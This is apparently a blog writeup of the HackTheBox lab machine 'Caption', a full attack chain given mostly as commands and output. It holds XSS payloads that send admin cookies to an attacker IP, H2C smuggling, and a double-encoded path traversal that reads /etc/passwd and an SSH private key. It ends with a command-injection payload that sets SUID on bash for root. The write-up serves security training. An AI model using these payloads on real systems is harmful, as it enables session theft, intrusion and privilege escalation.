Post

HackTheBox Caption

Writeup for HackTheBox Caption

HackTheBox Caption

Machine Synopsis

Caption is a Hard-difficulty Linux box, showcasing the chaining of niche vulnerabilities arising from different technologies such as HAProxy and Varnish. It begins with default credentials granting access to GitBucket, which exposes credentials for a web portal login through commits. The application caches a frequently visited page by an admin user, whose session can be hijacked by exploiting Web Cache Deception (WCD) via response poisoning exploited through a Cross-Site Scripting (XSS) payload. HAProxy controls can be bypassed by establishing an HTTP/2 cleartext tunnel, also known as an H2C Smuggling Attack, enabling the exploitation of a locally running service vulnerable to path traversal (CVE-2023-37474). A foothold is gained by reading the SSH ECDSA private key. Root privileges are obtained by exploiting a command injection vulnerability in the Apache Thrift service running as root. (Source)

Enumeration

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
❯ nmap -p- --min-rate 10000 10.10.11.33
Nmap scan report for 10.10.11.33
Host is up (0.024s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
8080/tcp open  http-proxy

❯ nmap -p 22,80,8080 -sC -sV 10.10.11.33

PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp   open  http-proxy HAProxy http proxy 2.0.0 or later
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Did not follow redirect to http://caption.htb
8080/tcp open  http       Jetty
|_http-title: GitBucket
Service Info: OS: Linux; Device: load balancer; CPE: cpe:/o:linux:linux_kernel

Lets add the domain to the /etc/hosts file.

1
echo -e '10.10.11.33\tcaption.htb' | sudo tee -a /etc/hosts

Here is the webpage on port 80. It is a login portal.

port_80_webpage

Here is the webpage on port 8080. It is a GitBucket web application.

port_8080_webpage

There are 2 repository. One is Caption Portal and the other is Logservice.

Within the Caption Portal, we can observe that there is an app folder and config folder with a README file.

caption_portal_repo

Inside the config folder, there is a haproxy folder, service folder, and varnish folder.

caption_portal_config_folder

One important information to remember here is that in /config/service/varnish.service config file, it states that HTTP2 is enabled.

The commit history of this repository also seemed really interesting.

caption_portal_commit_history

There is a Update Acess Control commit which consists of credentials for margo!

caption_portal_margo_creds

margo:vFr&cS2#0!.

In this file, we can also observe that the /logs and /download endpoints are being restricted.

With the credentials found, we can now login to the web portal on port 80.

port_80_homepage

Exploitation

Interestingly, there is a Firewalls tab and at the bottom of the page, we notice that there is a note stating that Services are currently undergoing maintenance. Admins are actively addressing some issues with this feature..

This sounds like we will be exploiting some XSS vulnerability to obtain the admin cookies.

Inspecting the HTTP request to /firewalls endpoint shows something intriguing. It is calling a script with the source pointing towards some internal proxy. There is also an unusual X-Cache header in the HTTP response.

Analyzing the HTTP response headers when accessing the their web portal, it seems like the portal is using Varnish as a web cache service and the version is 6.6.

1
2
3
4
5
6
7
8
9
10
HTTP/1.1 200 OK
server: Werkzeug/3.0.1 Python/3.10.12
date:
content-type: text/html; charset=utf-8
content-length: 4316
x-varnish: 32770
age: 0
via: 1.1 varnish (Varnish/6.6)
x-cache: MISS
accept-ranges: bytes

Further playing around with the host headers, it was observed that the X-Forwarded-Host was vulnerable to XSS.

List of payloads tried:

1
2
3
4
5
  Redirect: 127.0.0.1
  X-Forwarded-By: 127.0.0.1
  X-Forwarded-For: 127.0.0.1
  X-Forwarded-Host: 127.0.0.1
  X-Forwarded-Port: 80

Note: you can only test the payloads for the vulnerability every approximately 2 minutes when the cache “refreshes”.

host_header_manipulation

host_header_xss

With this, we can craft a payload that loads a malicious JS file from our web server directly.

1
X-Forwarded-Host: 127.0.0.1"></script> <script src="http://10.10.xx.xx/hehe.js"></script><!--

Or another simpler way to get the cookie directly is to use the following payload.

1
  X-Forwarded-Host: 127.0.0.1"></script> <script>fetch("http://10.10.16.6/?c=" + document.cookie);</script><!--

host_header_xss_steal_cookies_alt

1
2
3
4
  ❯ python3 -m http.server 80
  Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
  10.10.11.33 - - "GET /?c=session=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzQ0OTc4NDcwfQ.5s8citL422Y3jqTzaU4AnFfo4NpCMKlUvA1ImK8OaRs HTTP/1.1" 200 -
  ...
1
2
3
4
5
6
7
cat hehe.js
(function stealCookies() {
    let xhr = new XMLHttpRequest();
    let cookieData = document.cookie;
    xhr.open("GET", "http://10.10.16.6?cookies=" + encodeURIComponent(cookieData), true);
    xhr.send();
})();

host_header_xss_steal_cookies

1
2
3
4
5
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.33 - - "GET /hehe.js HTTP/1.1" 200 -
10.10.11.33 - - "GET /?cookies=session%3DeyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzQ0OTc3OTM0fQ.6JFf6jC4zAsG4oaZQCvLR_-dmvTSX9Dv4kr1FHugOAE HTTP/1.1" 200 -
...

Now that we have the admin cookies, we still can’t access /logs or /download. We have to find a way to bypass the 403 pages.

Recall that Varnish allows the usage of the HTTP2 protocol? This enables us to try H2C smuggling to access the restricted endpoints which are protected behind the HAProxy configuration.

Googling for http2 smuggling resulted in this BishopFox article which leads to their in-house tool that can perform HTTP request smuggling over HTTP/2 Cleartext.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
❯ git clone https://github.com/BishopFox/h2csmuggler
❯ cd h2csmuggler
❯ ls
LICENSE  README.md  configs  demo.go  docker-compose.yml  extensions  h2csmuggler.py  media

❯ python3 h2csmuggler.py -x http://caption.htb --test
[INFO] h2c stream established successfully.
[INFO] Success! http://caption.htb can be used for tunneling

❯ python3 h2csmuggler.py -x http://caption.htb http://caption.htb/logs
[INFO] h2c stream established successfully.
:status: 200
server: Werkzeug/3.0.1 Python/3.10.12
date: Fri, 18 Apr 2025 11:30:23 GMT
content-type: text/html; charset=utf-8
content-length: 4316
x-varnish: 65588
age: 0
via: 1.1 varnish (Varnish/6.6)
x-cache: MISS
accept-ranges: bytes

<!DOCTYPE html>
<html lang="en" >
<head>
  <meta charset="UTF-8">
    <script src="https://cpwebassets.codepen.io/assets/common/stopExecutionOnTimeout-2c7831bb44f98c1391d6a4ffda0e1fd302503391ca806e7fcc7b9b87197aec26.js"></script>
  <title>Caption Portal Login</title>
...  
<style>
...
</style>
...
</head>
<body>
...
</body>
</html>

[INFO] Requesting - /logs
:status: 302
server: Werkzeug/3.0.1 Python/3.10.12
date: Fri, 18 Apr 2025 11:30:23 GMT
content-type: text/html; charset=utf-8
content-length: 189
location: /
x-varnish: 65589
age: 0
via: 1.1 varnish (Varnish/6.6)
x-cache: MISS

<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="/">/</a>. If not, click the link.

Nice, now we should be able to use the admin cookies to access the protected endpoints.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
❯ python3 h2csmuggler.py -x http://caption.htb http://caption.htb/logs -H 'Cookie: session=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzQ0OTc4NDcwfQ.5s8citL422Y3jqTzaU4AnFfo4NpCMKlUvA1ImK8OaRs'
...
[INFO] Requesting - /logs
:status: 200
server: Werkzeug/3.0.1 Python/3.10.12
date: Fri, 18 Apr 2025 11:31:55 GMT
content-type: text/html; charset=utf-8
content-length: 4228
x-varnish: 262162
age: 0
via: 1.1 varnish (Varnish/6.6)
x-cache: MISS
accept-ranges: bytes

<!DOCTYPE html>
<html lang="en" lang="pt-br" data-bs-theme="dark">
<head>
  <meta charset="UTF-8">
  
    <script src="https://cpwebassets.codepen.io/assets/common/stopExecutionOnTimeout-2c7831bb44f98c1391d6a4ffda0e1fd302503391ca806e7fcc7b9b87197aec26.js"></script>


  <title>Caption Networks Home</title>
...   
        <center><h1>Log Management</h1></center>
        <br/><br/><center>
        <ul>
            <li><a href="/download?url=http://127.0.0.1:3923/ssh_logs">SSH Logs</a></li>
            <li><a href="/download?url=http://127.0.0.1:3923/fw_logs">Firewall Logs</a></li>
            <li><a href="/download?url=http://127.0.0.1:3923/zk_logs">Zookeeper Logs</a></li>
            <li><a href="/download?url=http://127.0.0.1:3923/hadoop_logs">Hadoop Logs</a></li>
        </ul></center>
      </div>
    </div>
  </header>
...  
</body>
</html>

It seems like there are some logs available on http://127.0.0.1:3923/. Lets try to access that endpoint.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
❯ python3 h2csmuggler.py -x http://caption.htb http://caption.htb/download\?url\=http://127.0.0.1:3923/ -H 'Cookie: session=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzQ0OTc4NDcwfQ.5s8citL422Y3jqTzaU4AnFfo4NpCMKlUvA1ImK8OaRs'
...
[INFO] Requesting - /download?url=http://127.0.0.1:3923/
:status: 200
server: Werkzeug/3.0.1 Python/3.10.12
date: Fri, 18 Apr 2025 11:37:31 GMT
content-type: text/html; charset=utf-8
content-length: 4400
x-varnish: 262170
age: 0
via: 1.1 varnish (Varnish/6.6)
x-cache: MISS
accept-ranges: bytes

<!DOCTYPE html>
<html lang="en">
<head>
	<meta charset="utf-8">
	<title>💾🎉</title>
	<meta http-equiv="X-UA-Compatible" content="IE=edge">
	<meta name="viewport" content="width=device-width, initial-scale=0.8, minimum-scale=0.6">
	<meta name="theme-color" content="#333">

	<link rel="stylesheet" media="screen" href="/.cpr/ui.css?_=AgS6">
	<link rel="stylesheet" media="screen" href="/.cpr/browser.css?_=AgS6">
</head>

<body>
	<div id="ops"></div>

	<div id="op_search" class="opview">
		<div id="srch_form" class="opbox"></div>
		<div id="srch_q"></div>
	</div>

	<div id="op_player" class="opview opbox opwide"></div>

	<div id="op_bup" class="opview opbox act">
		<div id="u2err"></div>
		<form method="post" enctype="multipart/form-data" accept-charset="utf-8" action="">
			<input type="hidden" name="act" value="bput" />
			<input type="file" name="f" multiple /><br />
			<input type="submit" value="start upload">
		</form>
		<a id="bbsw" href="?b=u" rel="nofollow"><br />switch to basic browser</a>
	</div>

	<div id="op_mkdir" class="opview opbox act">
		<form method="post" enctype="multipart/form-data" accept-charset="utf-8" action="">
			<input type="hidden" name="act" value="mkdir" />
			📂<input type="text" name="name" class="i" placeholder="awesome mix vol.1">
			<input type="submit" value="make directory">
		</form>
	</div>

	<div id="op_new_md" class="opview opbox">
		<form method="post" enctype="multipart/form-data" accept-charset="utf-8" action="">
			<input type="hidden" name="act" value="new_md" />
			📝<input type="text" name="name" class="i" placeholder="weekend-plans">
			<input type="submit" value="new markdown doc">
		</form>
	</div>

	<div id="op_msg" class="opview opbox act">
		<form method="post" enctype="application/x-www-form-urlencoded" accept-charset="utf-8" action="">
			📟<input type="text" name="msg" class="i" placeholder="lorem ipsum dolor sit amet">
			<input type="submit" value="send msg to srv log">
		</form>
	</div>

	<div id="op_unpost" class="opview opbox"></div>

	<div id="op_up2k" class="opview"></div>

	<div id="op_cfg" class="opview opbox opwide"></div>
	
	<h1 id="path">
		<a href="#" id="entree">🌲</a>
		<a href="/">/</a>
	</h1>
	
	<div id="tree"></div>

<div id="wrap">
	<div id="bdoc"></div>

	<div id="pro" class="logue"></div>

	<table id="files">
		<thead>
			<tr>
				<th name="lead"><span>c</span></th>
				<th name="href"><span>File Name</span></th>
				<th name="sz" sort="int"><span>Size</span></th>
				<th name="ext"><span>T</span></th>
				<th name="ts"><span>Date</span></th>
			</tr>
		</thead>
<tbody>
<tr><td>-</td><td><a href="fw_logs">fw_logs</a></td><td>14209</td>
<td>%</td><td>2024-03-06 12:15:18</td></tr>
<tr><td>-</td><td><a href="hadoop_logs">hadoop_logs</a></td><td>16685</td>
<td>%</td><td>2024-03-06 14:40:52</td></tr>
<tr><td>-</td><td><a href="ssh_logs">ssh_logs</a></td><td>15300</td>
<td>%</td><td>2024-03-06 14:38:09</td></tr>
<tr><td>-</td><td><a href="zk_logs">zk_logs</a></td><td>13145</td>
<td>%</td><td>2024-03-06 14:41:03</td></tr>

		</tbody>
	</table>
	
	<div id="epi" class="logue"></div>

	<h2 id="wfp"><a href="/?h" id="goh">control-panel</a></h2>
	
	<a href="#" id="repl">π</a>

</div>
	<div id="srv_info"><span>caption</span> // <span>2.69 GiB free of 8.76 GiB</span></div>

	<div id="widget"></div>

	<script>
		var SR = "",
			TS = "AgS6",
			acct = "*",
			perms = ["read"],
			dgrid = false,
			themes = 8,
			dtheme = "az a z",
			srvinf = "caption</span> // <span>2.69 GiB free of 8.76 GiB",
			lang = "eng",
			dfavico = "🎉 000 none",
			def_hcols = [],
			have_up2k_idx = false,
			have_tags_idx = false,
			have_acode = false,
			have_mv = true,
			have_del = true,
			have_unpost = 43200,
			have_zip = true,
			sb_md = "downloads forms popups scripts top-navigation-by-user-activation",
			sb_lg = "downloads forms popups scripts top-navigation-by-user-activation",
			lifetime = 0,
			turbolvl = 0,
			idxh = 0,
			frand = false,
			u2sort = "s",
			have_emp = false,
			txt_ext = "txt nfo diz cue readme",
			logues = ["", ""],
			readme = "",
			ls0 = null;

		document.documentElement.className = localStorage.theme || dtheme;
	</script>
	<script src="/.cpr/util.js?_=AgS6"></script>
	<script src="/.cpr/baguettebox.js?_=AgS6"></script>
	<script src="/.cpr/browser.js?_=AgS6"></script>
	<script src="/.cpr/up2k.js?_=AgS6"></script>
</body>
</html>

We observe that there are multiple /.cpr/ subfolders. Googling for .cpr folder exploit resulted in this ExploitDB directory traversal exploit.

1
2
#POC
curl -i -s -k -X  GET 'http://127.0.0.1:3923/.cpr/%2Fetc%2Fpasswd'

It seems like an easy exploit but the tricky part is to double encode the value /etc/passwd which results in %252Fetc%252Fpasswd.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
❯ python3 h2csmuggler.py -x http://caption.htb http://caption.htb/download\?url\=http://127.0.0.1:3923/.cpr/%252Fetc%252Fpasswd -H 'Cookie: session=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzQ0OTc4NDcwfQ.5s8citL422Y3jqTzaU4AnFfo4NpCMKlUvA1ImK8OaRs'

[INFO] Requesting - /download?url=http://127.0.0.1:3923/%252Ecpr%252F%252Fetc%252Fpasswd
:status: 200
server: Werkzeug/3.0.1 Python/3.10.12
date: Fri, 18 Apr 2025 11:47:37 GMT
content-type: text/html; charset=utf-8
content-length: 2122
x-varnish: 65595
age: 0
via: 1.1 varnish (Varnish/6.6)
x-cache: MISS
accept-ranges: bytes

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:113:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
haproxy:x:114:120::/var/lib/haproxy:/usr/sbin/nologin
varnish:x:115:121::/nonexistent:/usr/sbin/nologin
vcache:x:116:121::/nonexistent:/usr/sbin/nologin
varnishlog:x:117:121::/nonexistent:/usr/sbin/nologin
margo:x:1000:1000:,,,:/home/margo:/bin/bash
ruth:x:1001:1001:,,,:/home/ruth:/bin/bash
_laurel:x:998:998::/var/log/laurel:/bin/false

Nice! It works. Since we know that there is a user margo, we can try to get the SSH key. However, there was another trick here. It wasn’t the standard id_rsa key, it was the id_ecdsa. We can check the type of SSH key by grabbing the authorized_keys.

Remember, /home/margo/.ssh/authorized_keys double encode results in %252Fhome%252Fmargo%252F%252Essh%252Fauthorized%255Fkeys and /home/margo/.ssh/id_ecdsa double encode results in %252Fhome%252Fmargo%252F%252Essh%252Fid%255Fecdsa.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
❯ python3 h2csmuggler.py -x http://caption.htb http://caption.htb/download\?url\=http://127.0.0.1:3923/.cpr/%252Fhome%252Fmargo%252F%252Essh%252Fauthorized%255Fkeys -H 'Cookie: session=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzQ0OTc4NDcwfQ.5s8citL422Y3jqTzaU4AnFfo4NpCMKlUvA1ImK8OaRs'
...
[INFO] Requesting - /download?url=http://127.0.0.1:3923/.cpr/%252Fhome%252Fmargo%252F%252Essh%252Fauthorized%255Fkeys
:status: 200
server: Werkzeug/3.0.1 Python/3.10.12
date: Fri, 18 Apr 2025 11:57:27 GMT
content-type: text/html; charset=utf-8
content-length: 175
x-varnish: 65626
age: 0
via: 1.1 varnish (Varnish/6.6)
x-cache: MISS
accept-ranges: bytes

ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMY5d7Gy+8OLp5/fgComuWw4o/dzKex6KnS1f9H4Dnz2xKQSvNQ4Q4ltrsbUSnZNrBMlNtZvYpE5is5gsDTPKxA= margo@caption

❯ python3 h2csmuggler.py -x http://caption.htb http://caption.htb/download\?url\=http://127.0.0.1:3923/.cpr/%252Fhome%252Fmargo%252F%252Essh%252Fid%255Fecdsa -H 'Cookie: session=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzQ0OTc4NDcwfQ.5s8citL422Y3jqTzaU4AnFfo4NpCMKlUvA1ImK8OaRs'
[INFO] Requesting - /download?url=http://127.0.0.1:3923/.cpr/%252Fhome%252Fmargo%252F%252Essh%252Fid%255Fecdsa
:status: 200
server: Werkzeug/3.0.1 Python/3.10.12
date: Fri, 18 Apr 2025 12:00:01 GMT
content-type: text/html; charset=utf-8
content-length: 492
x-varnish: 65629
age: 0
via: 1.1 varnish (Varnish/6.6)
x-cache: MISS
accept-ranges: bytes

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAaAAAABNlY2RzYS1zaGEy
LW5pc3RwMjU2AAAACG5pc3RwMjU2AAAAQQTGOXexsvvDi6ef34AqJrlsOKP3cynseip0tX/R+A58
9sSkErzUOEOJba7G1Ep2TawTJTbWb2KROYrOYLA0zysQAAAAoJxnaNicZ2jYAAAAE2VjZHNhLXNo
YTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMY5d7Gy+8OLp5/fgComuWw4o/dzKex6KnS1f9H4
Dnz2xKQSvNQ4Q4ltrsbUSnZNrBMlNtZvYpE5is5gsDTPKxAAAAAgaNaOfcgjzxxq/7lNizdKUj2u
Zpid9tR/6oub8Y3Jh3cAAAAAAQIDBAUGBwg=
-----END OPENSSH PRIVATE KEY-----
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
❯ subl id_ecdsa
❯ chmod 600 id_ecdsa
❯ ssh margo@caption.htb -i id_ecdsa
The authenticity of host 'caption.htb (10.10.11.33)' can't be established.
ED25519 key fingerprint is SHA256:TgNhCKF6jUX7MG8TC01/MUj/+u0EBasUVsdSQMHdyfY.
This host key is known by the following other names/addresses:
    ~/.ssh/known_hosts:24: [hashed name]
    ~/.ssh/known_hosts:32: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'caption.htb' (ED25519) to the list of known hosts.
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-119-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Fri Apr 18 12:01:22 PM UTC 2025

  System load:  0.0               Processes:             232
  Usage of /:   69.5% of 8.76GB   Users logged in:       0
  Memory usage: 19%               IPv4 address for eth0: 10.10.11.33
  Swap usage:   0%


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

3 additional security updates can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Tue Sep 10 12:33:42 2024 from 10.10.14.23
margo@caption:~$ cat /home/margo/user.txt 
27e3beb00254fab54e76c1e644286b34

Privilege Escalation

Lets check for any active process listening.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
margo@caption:~$ netstat -tunlp
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:6081          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:6082          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:8000          0.0.0.0:*               LISTEN      1315/python3        
tcp        0      0 127.0.0.1:3923          0.0.0.0:*               LISTEN      1310/python3        
tcp        0      0 127.0.0.1:9090          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:8080            0.0.0.0:*               LISTEN      1312/java           
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
udp        0      0 127.0.0.53:53           0.0.0.0:*                           -                   
udp        0      0 0.0.0.0:68              0.0.0.0:*                           -    

There is a service listening on port 9090. We look back to the LogService repo on GitBucket and find out that the server.go file is indeed listening on port 9090.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
package main
 
import (
    "context"
    "fmt"
    "log"
    "os"
    "bufio"
    "regexp"
    "time"
    "github.com/apache/thrift/lib/go/thrift"
    "os/exec"
    "log_service"
)
 
type LogServiceHandler struct{}
 
func (l *LogServiceHandler) ReadLogFile(ctx context.Context, filePath string) (r string, err error) {
    file, err := os.Open(filePath)
    if err != nil {
        return "", fmt.Errorf("error opening log file: %v", err)
    }
    defer file.Close()
    ipRegex := regexp.MustCompile(`\b(?:\d{1,3}\.){3}\d{1,3}\b`)
    userAgentRegex := regexp.MustCompile(`"user-agent":"([^"]+)"`)
    outputFile, err := os.Create("output.log")
    if err != nil {
        fmt.Println("Error creating output file:", err)
        return
    }
    defer outputFile.Close()
    scanner := bufio.NewScanner(file)
    for scanner.Scan() {
        line := scanner.Text()
        ip := ipRegex.FindString(line)
        userAgentMatch := userAgentRegex.FindStringSubmatch(line)
        var userAgent string
        if len(userAgentMatch) > 1 {
            userAgent = userAgentMatch[1]
        }
        timestamp := time.Now().Format(time.RFC3339)
        logs := fmt.Sprintf("echo 'IP Address: %s, User-Agent: %s, Timestamp: %s' >> output.log", ip, userAgent, timestamp)
        exec.Command{"/bin/sh", "-c", logs}
    }
    return "Log file processed",nil
}
 
func main() {
    handler := &LogServiceHandler{}
    processor := log_service.NewLogServiceProcessor(handler)
    transport, err := thrift.NewTServerSocket(":9090")
    if err != nil {
        log.Fatalf("Error creating transport: %v", err)
    }
 
    server := thrift.NewTSimpleServer4(processor, transport, thrift.NewTTransportFactory(), thrift.NewTBinaryProtocolFactoryDefault())
    log.Println("Starting the server...")
    if err := server.Serve(); err != nil {
        log.Fatalf("Error occurred while serving: %v", err)
    }
}

On this same source code, we find that there is some command injection going on and we might be able to abuse it.

I heavily relied on the writeup here to achieve the privesc. Credit to runasdexter.

Lets port forward the port via SSH.

1
❯ ssh -L 9090:127.0.0.1:9090 -i id_ecdsa margo@10.10.11.33

Now we can download the entire repo. We also have to install the thrift-compiler package on our machine.

1
2
❯ git clone http://caption.htb:8080/git/root/Logservice.git
❯ sudo apt install thrift-compiler

Next, we create a virtual environment, setup the necessary modules and generate the program using thrift.

1
2
3
4
5
6
7
❯ python3 -m venv .venv
❯ source .venv/bin/activate
❯ pip3 install thrift
❯ cd Logservice
❯ ls
README.md  gen-go  log_service.thrift  server.go
❯ thrift --gen py log_service.thrift

Now, we create a malicious log file in margo /tmp directory.

1
2
3
4
margo@caption:~$ cd /tmp
margo@caption:/tmp$ nano hehe.log
margo@caption:/tmp$ cat hehe.log
"user-agent":"'$(chmod u+s /bin/bash) '"

Then, we move into the gen-py directory and create our exploit to interact with thrift.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
ls
README.md  exploit.py  gen-go  gen-py  log_service.thrift  server.go

❯ cd gen-py
❯ subl exploit.py
❯ cat exploit.py
#!/usr/bin/env python3
# Adapted from https://thrift.apache.org/tutorial/py.html
from thrift import Thrift
from thrift.transport import TSocket
from thrift.transport import TTransport
from thrift.protocol import TBinaryProtocol
from log_service import LogService

def main():
    transport = TSocket.TSocket('localhost', 9090)
    transport = TTransport.TBufferedTransport(transport)
    protocol = TBinaryProtocol.TBinaryProtocol(transport)
 
    client = LogService.Client(protocol)
 
    transport.open()
 
    result = client.ReadLogFile("/tmp/hehe.log")
 
    transport.close()
 
 
if __name__ == "__main__":
    main()%
    
❯ python3 exploit.py

Finally, we go back to margo shell, check if bash has the SUID set and run bash as root.

1
2
3
4
5
6
7
margo@caption:/tmp$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1396520 Mar 14  2024 /bin/bash
margo@caption:/tmp$ bash -p
bash-5.1# whoami
root
bash-5.1# cat /root/root.txt
9ca1e1b3d8a00e3b09d6b6e5d7c7e975
This post is licensed under CC BY 4.0 by the author.